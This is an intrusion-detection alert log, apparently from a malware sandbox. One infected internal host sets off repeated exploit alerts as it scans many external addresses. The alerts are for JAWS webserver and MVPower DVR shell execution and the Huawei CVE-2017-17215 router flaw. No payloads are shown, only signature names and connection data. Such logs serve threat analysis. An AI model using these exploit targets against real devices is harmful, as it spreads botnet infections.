ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.75.63.133

Timestamp:	192.168.2.23146.75.63.13352912802030092 01/02/24-06:23:55.171237
SID:	2030092
Source Port:	52912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.186.112.34

Timestamp:	192.168.2.23108.186.112.3448840802030092 01/02/24-06:24:54.992165
SID:	2030092
Source Port:	48840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.143.178.82

Timestamp:	192.168.2.23121.143.178.8245268802030092 01/02/24-06:25:22.174762
SID:	2030092
Source Port:	45268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.187.108.169

Timestamp:	192.168.2.2335.187.108.16953570802030092 01/02/24-06:25:21.019391
SID:	2030092
Source Port:	53570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 190.167.115.162

Timestamp:	192.168.2.23190.167.115.16244810802025883 01/02/24-06:23:55.091590
SID:	2025883
Source Port:	44810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.67.147.17

Timestamp:	192.168.2.2318.67.147.1742596802025883 01/02/24-06:25:34.896348
SID:	2025883
Source Port:	42596
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 31.30.58.133

Timestamp:	192.168.2.2331.30.58.13333052802025883 01/02/24-06:24:10.909503
SID:	2025883
Source Port:	33052
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.230.152.225

Timestamp:	192.168.2.23104.230.152.22549862802025883 01/02/24-06:24:23.652013
SID:	2025883
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.179.83.52

Timestamp:	192.168.2.2354.179.83.5233844802025883 01/02/24-06:25:04.468216
SID:	2025883
Source Port:	33844
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.247.28.155

Timestamp:	192.168.2.2384.247.28.15551342802030092 01/02/24-06:24:08.653606
SID:	2030092
Source Port:	51342
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.29.227.250

Timestamp:	192.168.2.23213.29.227.25034468802030092 01/02/24-06:24:19.265733
SID:	2030092
Source Port:	34468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.138.221.224

Timestamp:	192.168.2.2351.138.221.22455554802025883 01/02/24-06:25:00.997015
SID:	2025883
Source Port:	55554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.219.183.102

Timestamp:	192.168.2.23154.219.183.10247752802030092 01/02/24-06:25:34.822358
SID:	2030092
Source Port:	47752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.137.212.60

Timestamp:	192.168.2.23220.137.212.6059920802030092 01/02/24-06:25:15.748234
SID:	2030092
Source Port:	59920
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.24.96.44

Timestamp:	192.168.2.2352.24.96.4456028802025883 01/02/24-06:25:04.184391
SID:	2025883
Source Port:	56028
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 98.123.179.98

Timestamp:	192.168.2.2398.123.179.9836228802030092 01/02/24-06:24:08.556843
SID:	2030092
Source Port:	36228
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.218.175.190

Timestamp:	192.168.2.23154.218.175.19054758802025883 01/02/24-06:25:06.948021
SID:	2025883
Source Port:	54758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.14.39.91

Timestamp:	192.168.2.2323.14.39.9148702802025883 01/02/24-06:25:37.988872
SID:	2025883
Source Port:	48702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 208.109.68.23

Timestamp:	192.168.2.23208.109.68.2335052802025883 01/02/24-06:25:09.832341
SID:	2025883
Source Port:	35052
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.204.79.202

Timestamp:	192.168.2.2352.204.79.20242440802025883 01/02/24-06:25:11.888955
SID:	2025883
Source Port:	42440
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.183.50.139

Timestamp:	192.168.2.2335.183.50.13935316802025883 01/02/24-06:25:42.350384
SID:	2025883
Source Port:	35316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.97.11.24

Timestamp:	192.168.2.23104.97.11.2460650802025883 01/02/24-06:25:22.089353
SID:	2025883
Source Port:	60650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 121.11.37.234

Timestamp:	192.168.2.23121.11.37.23456696802025883 01/02/24-06:24:50.251380
SID:	2025883
Source Port:	56696
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.1.227.247

Timestamp:	192.168.2.2352.1.227.24732976802030092 01/02/24-06:25:31.234449
SID:	2030092
Source Port:	32976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.141.149.90

Timestamp:	192.168.2.23103.141.149.9046528802030092 01/02/24-06:24:19.516603
SID:	2030092
Source Port:	46528
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.204.186.162

Timestamp:	192.168.2.23185.204.186.16245770802025883 01/02/24-06:24:24.014425
SID:	2025883
Source Port:	45770
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.192.158.130

Timestamp:	192.168.2.23201.192.158.13039898802030092 01/02/24-06:25:34.727412
SID:	2030092
Source Port:	39898
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 90.79.11.60

Timestamp:	192.168.2.2390.79.11.6051570802030092 01/02/24-06:25:21.019509
SID:	2030092
Source Port:	51570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 207.60.214.53

Timestamp:	192.168.2.23207.60.214.5343892802025883 01/02/24-06:23:58.146252
SID:	2025883
Source Port:	43892
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.255.250.61

Timestamp:	192.168.2.23173.255.250.6148452802025883 01/02/24-06:24:17.602391
SID:	2025883
Source Port:	48452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.206.169.216

Timestamp:	192.168.2.2334.206.169.21634808802030092 01/02/24-06:25:00.915047
SID:	2030092
Source Port:	34808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.21.224.126

Timestamp:	192.168.2.232.21.224.12652276802025883 01/02/24-06:25:16.010358
SID:	2025883
Source Port:	52276
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.68.208.136

Timestamp:	192.168.2.2352.68.208.13645118802030092 01/02/24-06:25:29.707548
SID:	2030092
Source Port:	45118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.236.88.180

Timestamp:	192.168.2.2313.236.88.18038176802025883 01/02/24-06:25:14.749773
SID:	2025883
Source Port:	38176
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.127.14.185

Timestamp:	192.168.2.2313.127.14.18542886802025883 01/02/24-06:24:41.189472
SID:	2025883
Source Port:	42886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 143.208.250.11

Timestamp:	192.168.2.23143.208.250.1143668802025883 01/02/24-06:25:10.207227
SID:	2025883
Source Port:	43668
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 85.50.165.37

Timestamp:	192.168.2.2385.50.165.3759160802025883 01/02/24-06:24:24.106651
SID:	2025883
Source Port:	59160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.75.21.143

Timestamp:	192.168.2.23146.75.21.14359376802030092 01/02/24-06:24:45.316760
SID:	2030092
Source Port:	59376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.249.87.54

Timestamp:	192.168.2.2313.249.87.5444040802025883 01/02/24-06:24:23.621355
SID:	2025883
Source Port:	44040
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.44.232.138

Timestamp:	192.168.2.23198.44.232.13837024802030092 01/02/24-06:25:43.163000
SID:	2030092
Source Port:	37024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.81.229.169

Timestamp:	192.168.2.23202.81.229.16957854802030092 01/02/24-06:24:05.844790
SID:	2030092
Source Port:	57854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.93.2.119

Timestamp:	192.168.2.23104.93.2.11952484802030092 01/02/24-06:24:52.173461
SID:	2030092
Source Port:	52484
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934152802025883 01/02/24-06:23:55.217292
SID:	2025883
Source Port:	34152
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 205.164.12.222

Timestamp:	192.168.2.23205.164.12.22246902802030092 01/02/24-06:24:20.042564
SID:	2030092
Source Port:	46902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.139.38.175

Timestamp:	192.168.2.2343.139.38.17550990802030092 01/02/24-06:24:04.154188
SID:	2030092
Source Port:	50990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.21.117.22

Timestamp:	192.168.2.23103.21.117.2251812802030092 01/02/24-06:25:22.210601
SID:	2030092
Source Port:	51812
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 208.109.173.198

Timestamp:	192.168.2.23208.109.173.19843616802025883 01/02/24-06:25:34.668261
SID:	2025883
Source Port:	43616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.98.133.46

Timestamp:	192.168.2.23172.98.133.4651318802025883 01/02/24-06:25:21.231178
SID:	2025883
Source Port:	51318
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.233.79.101

Timestamp:	192.168.2.2334.233.79.10139524802025883 01/02/24-06:24:40.913375
SID:	2025883
Source Port:	39524
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.80.176.125

Timestamp:	192.168.2.2399.80.176.12533828802030092 01/02/24-06:25:00.994557
SID:	2030092
Source Port:	33828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.216.114.49

Timestamp:	192.168.2.2323.216.114.4945924802030092 01/02/24-06:25:10.067215
SID:	2030092
Source Port:	45924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.132.215.44

Timestamp:	192.168.2.2338.132.215.4440936802025883 01/02/24-06:24:13.920460
SID:	2025883
Source Port:	40936
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.29.37.58

Timestamp:	192.168.2.2352.29.37.5835934802025883 01/02/24-06:25:21.265685
SID:	2025883
Source Port:	35934
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 167.73.14.88

Timestamp:	192.168.2.23167.73.14.8833056802030092 01/02/24-06:24:23.650284
SID:	2030092
Source Port:	33056
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.99.59.249

Timestamp:	192.168.2.23118.99.59.24958056802030092 01/02/24-06:24:31.063069
SID:	2030092
Source Port:	58056
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.234.219.234

Timestamp:	192.168.2.23156.234.219.23440728802030092 01/02/24-06:25:19.115031
SID:	2030092
Source Port:	40728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.218.234.147

Timestamp:	192.168.2.2352.218.234.14751138802030092 01/02/24-06:25:02.194486
SID:	2030092
Source Port:	51138
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.158.48.173

Timestamp:	192.168.2.23107.158.48.17360248802030092 01/02/24-06:25:24.657251
SID:	2030092
Source Port:	60248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.4.183.144

Timestamp:	192.168.2.23121.4.183.14448996802030092 01/02/24-06:25:19.173099
SID:	2030092
Source Port:	48996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 197.26.81.3

Timestamp:	192.168.2.23197.26.81.356728802025883 01/02/24-06:24:49.038851
SID:	2025883
Source Port:	56728
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.169.231.145

Timestamp:	192.168.2.2318.169.231.14560782802030092 01/02/24-06:24:54.905175
SID:	2030092
Source Port:	60782
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.114.245.251

Timestamp:	192.168.2.23185.114.245.25152468802025883 01/02/24-06:25:19.107884
SID:	2025883
Source Port:	52468
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.85.129.251

Timestamp:	192.168.2.23184.85.129.25155542802030092 01/02/24-06:24:01.334668
SID:	2030092
Source Port:	55542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.199.121.170

Timestamp:	192.168.2.2354.199.121.17058798802030092 01/02/24-06:24:19.269485
SID:	2030092
Source Port:	58798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.69.218.34

Timestamp:	192.168.2.23104.69.218.3453078802025883 01/02/24-06:24:30.590605
SID:	2025883
Source Port:	53078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 209.51.136.55

Timestamp:	192.168.2.23209.51.136.5541670802025883 01/02/24-06:25:42.872171
SID:	2025883
Source Port:	41670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.239.158.196

Timestamp:	192.168.2.2338.239.158.19649628802025883 01/02/24-06:24:03.470698
SID:	2025883
Source Port:	49628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.238.204.210

Timestamp:	192.168.2.23202.238.204.21040470802025883 01/02/24-06:24:24.201458
SID:	2025883
Source Port:	40470
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.179.157.102

Timestamp:	192.168.2.23185.179.157.10256368802030092 01/02/24-06:24:10.926344
SID:	2030092
Source Port:	56368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.208.8.115

Timestamp:	192.168.2.2318.208.8.11543682802025883 01/02/24-06:25:15.875600
SID:	2025883
Source Port:	43682
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.93.163.146

Timestamp:	192.168.2.23168.93.163.14643476802030092 01/02/24-06:24:30.901528
SID:	2030092
Source Port:	43476
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.14.153

Timestamp:	192.168.2.23156.241.14.15348512372152835222 01/02/24-06:23:49.692230
SID:	2835222
Source Port:	48512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 94.250.243.6

Timestamp:	192.168.2.2394.250.243.644720802025883 01/02/24-06:24:27.687612
SID:	2025883
Source Port:	44720
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.237.111.253

Timestamp:	192.168.2.2344.237.111.25343424802030092 01/02/24-06:23:59.006301
SID:	2030092
Source Port:	43424
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 37.221.198.86

Timestamp:	192.168.2.2337.221.198.8650826802025883 01/02/24-06:25:24.777893
SID:	2025883
Source Port:	50826
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.126.165.103

Timestamp:	192.168.2.2385.126.165.10351920802030092 01/02/24-06:25:29.714738
SID:	2030092
Source Port:	51920
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.50.91.169

Timestamp:	192.168.2.2323.50.91.16934304802025883 01/02/24-06:25:25.361156
SID:	2025883
Source Port:	34304
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.253.8.107

Timestamp:	192.168.2.23211.253.8.10738410802030092 01/02/24-06:25:02.050528
SID:	2030092
Source Port:	38410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.128.130.6

Timestamp:	192.168.2.23121.128.130.643932802030092 01/02/24-06:24:56.157594
SID:	2030092
Source Port:	43932
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 122.219.208.94

Timestamp:	192.168.2.23122.219.208.9451858802025883 01/02/24-06:25:29.715016
SID:	2025883
Source Port:	51858
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.203.180.13

Timestamp:	192.168.2.2334.203.180.1341426802030092 01/02/24-06:24:04.156700
SID:	2030092
Source Port:	41426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 37.1.204.64

Timestamp:	192.168.2.2337.1.204.6437102802025883 01/02/24-06:25:29.908844
SID:	2025883
Source Port:	37102
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 47.90.200.134

Timestamp:	192.168.2.2347.90.200.13459390802025883 01/02/24-06:24:08.717627
SID:	2025883
Source Port:	59390
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 71.80.219.15

Timestamp:	192.168.2.2371.80.219.1554798802030092 01/02/24-06:24:23.996859
SID:	2030092
Source Port:	54798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.231.244.97

Timestamp:	192.168.2.23148.231.244.9739988802030092 01/02/24-06:24:58.640723
SID:	2030092
Source Port:	39988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.38.247.126

Timestamp:	192.168.2.23154.38.247.12652462802030092 01/02/24-06:25:06.911219
SID:	2030092
Source Port:	52462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.221.123.61

Timestamp:	192.168.2.2323.221.123.6153238802030092 01/02/24-06:25:30.014297
SID:	2030092
Source Port:	53238
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 82.163.53.15

Timestamp:	192.168.2.2382.163.53.1537476802025883 01/02/24-06:24:23.976596
SID:	2025883
Source Port:	37476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.192.122.65

Timestamp:	192.168.2.2343.192.122.6537710802030092 01/02/24-06:25:42.873893
SID:	2030092
Source Port:	37710
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.245.174.80

Timestamp:	192.168.2.23172.245.174.8046628802025883 01/02/24-06:24:17.912872
SID:	2025883
Source Port:	46628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.211.17.190

Timestamp:	192.168.2.2354.211.17.19052204802030092 01/02/24-06:23:51.955510
SID:	2030092
Source Port:	52204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.160.79.119

Timestamp:	192.168.2.2334.160.79.11940184802030092 01/02/24-06:25:43.999253
SID:	2030092
Source Port:	40184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.173.201.91

Timestamp:	192.168.2.2338.173.201.9140430802030092 01/02/24-06:24:30.753564
SID:	2030092
Source Port:	40430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.78.13.160

Timestamp:	192.168.2.2323.78.13.16036348802025883 01/02/24-06:23:58.964776
SID:	2025883
Source Port:	36348
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.241.196.49

Timestamp:	192.168.2.2393.241.196.4942544802030092 01/02/24-06:24:43.250963
SID:	2030092
Source Port:	42544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.214.242.162

Timestamp:	192.168.2.23185.214.242.16237540802030092 01/02/24-06:24:49.039118
SID:	2030092
Source Port:	37540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.15.65.100

Timestamp:	192.168.2.2380.15.65.10050756802030092 01/02/24-06:24:55.923121
SID:	2030092
Source Port:	50756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.92.76.149

Timestamp:	192.168.2.23213.92.76.14950818802030092 01/02/24-06:25:32.164890
SID:	2030092
Source Port:	50818
Destination Port:	80
Protocol:	TCP
